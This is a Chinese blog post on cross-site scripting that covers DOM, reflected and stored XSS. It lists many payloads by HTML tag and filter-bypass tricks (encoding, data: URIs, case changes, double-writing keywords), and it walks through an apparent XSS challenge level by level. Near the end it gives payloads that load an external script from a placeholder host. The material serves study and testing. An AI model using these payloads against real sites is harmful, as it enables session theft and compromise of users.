赞
踩
开始总结一些xss
的想法
本来想着根据xss
的分类,可以直接按照常规的三种分类来分类–反射型,DOM,存储型来讲,但是开始动笔之后发现,根据这样的分类我估计会着重的讲一下盲区DOM而对于其他的两个不知道怎么给笔墨,显得有些奇怪,所以我打算将三种分类放在一起写,然后根据js
代码中不同的触发位置开始分类,这样显得更加合理
用户的请求直接输出到html页面中,出发了js代码。需要注意的是,着重的考虑用户的输入位置与对应的输出位置,其他的不想讲。
我以前一直以为,DOM型xss和反射型xss实际上差别不大,但实际上仔细观察dom
类型的xss
,可以发现他比反射型地xss
多了一层思考,我们不单单需要考虑用户地输出,还需要考虑用户输出
被javascript
用来做了什么。我们一层一层来。
显式输出的意思是指右键查看源代码的时候能够查看到输出。
先做一个这样地页面
<div id="a">这是第一个输出</div>
<script> document.getElementById("a").innerHTML="这是第二个";</script>
简单地说一下getElementById
获取id的元素,innerHTML
改变标签之间的html
,这样的代码输出,就是如下:
这是第二个
而这种innerHTML=[output]
的情况,也正是dom型xss的一种,这里的output
可以插入js代码,例如:
<div id="a">这是第一个输出</div>
<script> document.getElementById("a").innerHTML="<img src=/eval/eaa.js>";</script>
甚至我们可以将一些特殊字符转化成unicode
编码,也是可以触发效果的例如:
<div id="a">这是第一个输出</div>
<script> document.getElementById("a").innerHTML="\u003cimg src=/eval/eaa.js\u003e";</script>
再比如:
<div id="a">这是第一个输出</div>
<script> document.getElementById("a").innerHTML="\x3Cimg\u0020src=1\u0020οnerrοr=alert(1)\x3e";</script>
这里考虑到的是js字符串中unicode的编码,比如<>
有两种编码形式\u003c\u003e
和\x3c\x3e
这两种Unicode
编码。那么这里的原理是什么呢?
字面量\unnnn
表示十六进制代码nnnn
表示一个unicode
字符,什么意思呢,直接讲解一个字符如何变成js unicode
吧。
首先将字符转化成unicode编码,再转化成十六进制编码。如:
使用js中的charCodeAt函数将字符转变成字符的unicode编码
<div id="a">这是第一个输出</div>
<script>
var str = "<>";
document.getElementById("a").innerHTML=(str.charCodeAt(0));
</script>
输出的结果是60
。
使用字符串方法,将其转化成16进制,如:
<div id="a">这是第一个输出</div>
<script>
var str = "<>";
str = str.charCodeAt(0);
document.getElementById("a").innerHTML=(str.toString(16));
</script>
输出的结果是3c
,剩下的两位用00
补足,也就是\u003c
,而这里前缀可以使用\x
替换\u
也可以实现。
例如:
<div id="a">这是第一个输出</div>
<script>
document.write("\x3Cimg\u0020src=1\u0020οnerrοr=alert(1)\x3e");
</script>
隐式输出是指输出的结果我们看不见,也就是我们再右键源代码中找不到我们输入的内容。但是无论是隐式还是显式,最终都是要通过innerhtml
或document.write
输出。
前端开发人员再获取地址栏的参数的时候,一般会自定义这样的函数,作用就是获取地址栏的参数,在显示处有可能这样构造代码,例如:
<div id="nick">加载中...</div>
<script>
var a=getParam("name");
document.getElementById("nick").innerHTML=a;
</script>
所以如果没有安全措施,就可能造成之前前面提到的innerHTML型xss。
源代码与调试工具都看不到我们输入的东西,一般的操作手法是通过console
查看,可以给参数输入一些特殊字符,因为一般不会报错。
查看报错信息可以定位到js
的错误位置,例如如下错误代码:
var getarg = function()
{
var url = window.location.href;
var allargs = url.split("?")[1];
if (allargs!=null && allargs.indexOf("=")>0)
{
var args = allargs.split("&");
for(var i=0; i<args.length; i++)
{
var arg = args[i].split("=");
eval('this.'+arg[0]+'="'+arg[1]+'";');
}
}
};
同样的xss方式遇上面相同。
定义和用法:
iframe 元素会创建包含另外一个文档的内联框架(即行内框架)。
sometime,iframe
标签也会出现xss的问题,<iframe src="[输出]"></iframe>
,iframe
兼容执行javascript
,有时候会通过过js动态的改变iframe
的src的值,也就是src的值是可控的。
例如:
onload
<iframe onload="alert(1)"></iframe>
src 执行js代码
<iframe src="javascript:alert(1)"></iframe>
tips:在我玩src的时候,曾经有一个可控的参数在<img src="可控"
中,我愚昧的认为这样可以造成远程的js代码的执行,并且尝试了很久,但是最后发现根本行不通,原因在于img中的src不会当作js解析。这里需要注意。也就是说<img src="eval.com/test.js">
是无法实现的。
src 执行vbscript代码
VBScript 是微软公司出品的脚本语言。所以只能在ie中执行,
<iframe src="vbscript:msgbox(1)"></iframe>
data协议
我们来看看data协议支持的一些类型:
data:, 文本数据
data:text/plain, 文本数据
data:text/html, HTML代码
data:text/html;base64, base64编码的HTML代码
data:text/css, CSS代码
data:text/css;base64, base64编码的CSS代码
data:text/javascript, Javascript代码
data:text/javascript;base64, base64编码的Javascript代码
data:image/gif;base64, base64编码的gif图片数据
data:image/png;base64, base64编码的png图片数据
data:image/jpeg;base64, base64编码的jpeg图片数据
data:image/x-icon;base64, base64编码的icon图片数据
例如:
<iframe src="data:text/html,<script>alert(1)</script>"></iframe>
语法:
<iframe srcdoc="HTML_code">
允许规定页面的 HTML 内容显示在行内框架中。
例如:
<div id="a">这是第一个输出</div>
<iframe srcdoc="<script>alert(1)</script>"></iframe>
https://wizardforcel.gitbooks.io/xss-naxienian/content/11.html
关于存储型xss,原来在于js脚本存储到了数据库,能够造成稳定的输出,故而称为存储型xss,实际上原来也是上面提到的这些,关于xss最好玩的地方或者说最精华的地方,我个人认为在于waf bypass
和跨域
这方面的知识了,但是我本人这方面的知识有些不足,个人认为需要多写一些js相关的代码否则真的伤不起。
如下参考至https://xz.aliyun.com/t/2936
img
标签在之前一段事件内,img标签可以使用很多的操作,src属性能够直接执行xss代码,但是后来对其做了限制导致了
<img src=javascript:alert("xss")>
<IMG SRC=javascript:alert(String.formCharCode(88,83,83))>
<img STYLE="background-image:url(javascript:alert('XSS'))">
这样的代码是无法触发xss的。现在img标签我知道的就是on属性,一般是onerror和onmouseover
on
属性:
<img src=1 onerror="javascript:alert(1)">
<img src=1 onmouseover=alert('xss')>
a
标签href
属性:
<a href="javascript:alert('xss')">aa</a>
<a href=javascript:eval(alert('xss'))>aa</a>
on
属性:
<a href="javascript:aaa" onmouseover="alert(/xss/)">aa</a>
<a href="" onclick=alert('xss')>aa</a>
<a href="" onclick=eval(alert('xss'))>aa</a>
input
标签on
属性:
<input value="" onclick=alert('xss') type="text">
<input name="name" value="" onmouseover=prompt('xss') bad="">
accesskey
属性:
这是其中一个特殊的情况,在我测试src的时候有遇到过,利用的难度很高,但是很有趣。这种情况只能用在firefox上。
在我们遇到这种情况下:
<input type="hidden" value="注入点">
这里没办法注入type因为hidden放在前面,没有办法覆盖,所以这里有一种高难度的利用方式。
<input type="hidden" value="" accesskey="x" onclick="alert(1)">
触发的条件是在win/linux,需要使用shift+alt+x
form
标签action
属性:
<form action=javascript:alert('xss') method="get">
<form action=javascript:alert('xss')>
<form method=post action="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">
(data协议绕过)
on
属性:
<form action=1 onmouseover=alert('xss)>
<form method=post action=aa.asp? onmouseover=alert('xss')>
18-11-16补充:
<form><botton formaction="javascript:alert(1)">m</bottom></form>
iframe
标签src
属性:
<iframe src=javascript:alert('xss') /><iframe>
<iframe src="data:text/html,<script>alert('xss')</script>"></iframe>
(data协议绕过)
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">
(data协议绕过)
<iframe src="javascript:prompt(`xss`)"></iframe>
(实体编码绕过)
on
属性:
<iframe src="aaa" onmouseover=alert('xss') /><iframe>
srcdoc
属性(ie不支持):
<iframe srcdoc="<img src=x:x onerror=alert(1)>" />
(实体编码绕过)
svg
标签on
属性:
<svg onload=alert(1)>
<svg/onload=setTimeout('ale'+'rt(1)',0)>
<svg/onload ="location='jav'+'ascript'+':%2'+'0aler'+'t%20%2'+'81%'+'29'">
https://www.toolmao.com/xsstranser
三个八进制数字,如果数字不够,在前面补零,如a的编码为\141
两个十六进制数字,如果数字不够,在前面补零,如a的编码为\x61
四个十六进制数字,如果数字不够,在前面补零,如a的编码为\u0061
对于一些控制字符,使用特殊的C类型的转义风格,如\n
和\r
在 HTML 中,某些字符是预留的。
在 HTML 中不能使用小于号(<)和大于号(>),这是因为浏览器会误认为它们是标签。
如果希望正确地显示预留字符,我们必须在 HTML 源代码中使用字符实体(character entities)。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-h5VYhb1q-1611628167835)(https://raw.githubusercontent.com/hwhxy/hwhxy.github.io/master/images/xss.png)]
alert = %25%36%31%25%36%63%25%36%35%25%37%32%25%37%34
alert = String.fromCharCode(97,108,101,114,116)
settime:
<svg/onload=setTimeout('ale'+'rt(1)',0)>
location:
<svg/onload ="location='jav'+'ascript'+':%2'+'0aler'+'t%20%2'+'81%'+'29'">
光说不练假把式,根据知识储备解决问题,根据问题增加知识储备。
挑战链接
没有做任何的过滤,直接闭合前面的<h1>
然后插入script
标签执行js代码就行。
payload = </h1><script>alert(1)</script>
简单的单引号逃逸。
payload="><script>alert(1)</script><"
初一看是单引号逃逸,但是执行之后发现<input name=keyword value=''><script>alert(1)</script><''>
对特殊的字符<>
进行了实体的编码。这时候思路就是不使用别的标签进行xss,而使用当前标签的属性来执行。所以参照上面的2.1,2.5
所介绍的input
标签的formaction
属性执行xss试试。
payload=formaction="javascript:alert(1)" '
然后会发现,双引号也被实体转义了。意外的不好用,这时候我们考虑使用on事件来绕过,因为on事件可以不使用双引号例如2.2:
payload=' onfocus=alert(1) '
,是的这次我们成功了。
这里看到value是双引号闭合,所以直接考虑使用上面的payload改成双引号闭合即可。
payload=" onfocus=alert(1) "
,ok成功了。
同样是双引号闭合的value属性,使用level4的payload发现
<input name=keyword value="" o_nfocus=alert(1) "">
on
之间增加了_
,所以内联的属性无法使用了,关于input
触发的两个属性上面都提到了,都存在on
关键词。
这时候我们就会来思考,应该是要使用别的标签了,来看看<>
是否被转义了,果然没有被转义,这时候我们就能够使用别的标签来触发了,然后发现script
也被加了_
,所以要使用别的标签来触发,这里就有很多思路的,但是大致的思路就是不使用on属性,使用src
属性和href
属性或许是最好的选择。例如:
payload1 = "><iframe src="javascript:alert(1)"></iframe><"
,但是很奇怪这个payload虽然弹框了但是没有跳转到下一个挑战。
payload2 = "><a href=javascript:alert(1);>111</a><"
,href是访问标签,所以要点击才能触发,很好这样的方式就能跳转到下一个挑战了,上面是非预期解。
照常我们使用上一个level的payload
进行尝试,返回的源码可以看到<input name=keyword value=""><a hr_ef=javascript:alert(1);>111</a><"">
href
waf成了hr_ef
,那么我们来使用上面说的非预期解试试。发现src也被变成了sr_c,那么我们来思考一下是否能使用别的方式绕过这种黑名单关键词的匹配,大小写尝试一下,使用:
payload1 = "><a hRef=javascript:alert(1);>111</a><"
,ok成功绕过。
那么也就是说上面的src属性也能用大小写的方式绕过。
payload2 = "><iframe sRc="javascript:alert(1)"></iframe><"
,是的同样弹窗了。
同样的level6走起,发现返回<input name=keyword value=""><iframe ="java:alert(1)"></iframe><"">
,也就是说同样的是匹配黑名单,将script
,src
直接替换成了""
,这里很自然的想到了sql注入的双写绕过,即替换之后拼接的仍然是合法的,来我们试试。
payload1 = "><a hrhRefef=javascriscriptpt:alert(1);>111</a><"
,成功绕过。
payload2 = "><iframe srsRcc="javascriscriptpt:alert(1)"></iframe><"
,成功弹窗。
这里的注入点是<a>
标签的href属性下面,使用javascript:alert(1);
,发现对script转化成了scri_pt
,这里使用大小写的方式也对其转换了,我们来试试实体编码,
payload1 = javascript:alert(1)
(javascript:alert(1)) fine 绕过了。
但是这里其实只要跨过黑名单script就行,那么我们这样即可:
payload2 = javascript:alert(1)
使用上面的payload提示链接不合法,测试之后发现只要包含http://
即通过校验,waf其他与上一题相同,则想到了直接用上面的payload加上注释符添加http://
即可。
payload1 = javascript:alert(1)//http://
payload2 = javascript:alert(1)//http://
这一关的注入点在url处,keyword对其进行了实体编码操纵,查看源码发现于三个hidden
的input标签,传参发现第三个可以进行注入,注入类型是闭合双引号然后属性注入,同level4。
但是这里和level4还是有不同的,不同点在于type=hidden,我们使用on属性无法触发,所以这里可以闭合输入type
从而达到触发的效果。
payload1 = " onclick=alert('xss') type="text
(参照2.3)
payload2 = " onmouseover=prompt('xss') type="
(参照2.3)
跳转之后查看源码发现后端存在这样的代码:
<input name="t_ref" value="http://test.xss.tv/level10.php?keyword=1&t_link=%22&t_history=%22&t_sort=%22%20onclick=alert('xss')%20type=%22" type="hidden">
其他的条件与上一题相同,这里用上一题的做法发现t_sort仍然可以输入但是无法逃逸双引号,这时候会发现发现上述的t_ref的值改变了,再根据上面的了链接,猜测t_ref的值获取自refer,更改refer尝试。成功!payload与上题相同。
换汤不换药,t_ua
为user-agent
.略。
换汤不换药,t_cook
为cookie
.略。
没看懂。。
#35
"
2
\u0022
%22
<iframe/src=javascript:[document;domain].find(alert)>
xss入口:
输入框、接口参数、文件注入
1.过滤了<>尖括号:
原理:利用html以及js伪协议,当用户打开页面缓冲页面会自动获取焦点,从而触发js代码生成script标签,达到目的。
autofocus οnfοcus=location=“javasCript:s=document.createElement(“script”);s.src=“http:///xx.js”; document.body.appendChild(s);”
2.漏洞已经在JS代码中,但是过滤了<>尖括号:
原理:利用js代码创建新script标签,引入外接js文件,达到目的。
';s=document.createElement(“script”);s.src=“http:///xx.js”;document.body.appendChild(s);"
<svg/οnlοad=prompt(1)/>
另外可以参看:
1、XSS绕过经验总结
2、 XSS绕过姿势总结
3、 强防御下的XSS绕过思路(二) 黑名单篇
4、XSS一些总结 22222
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。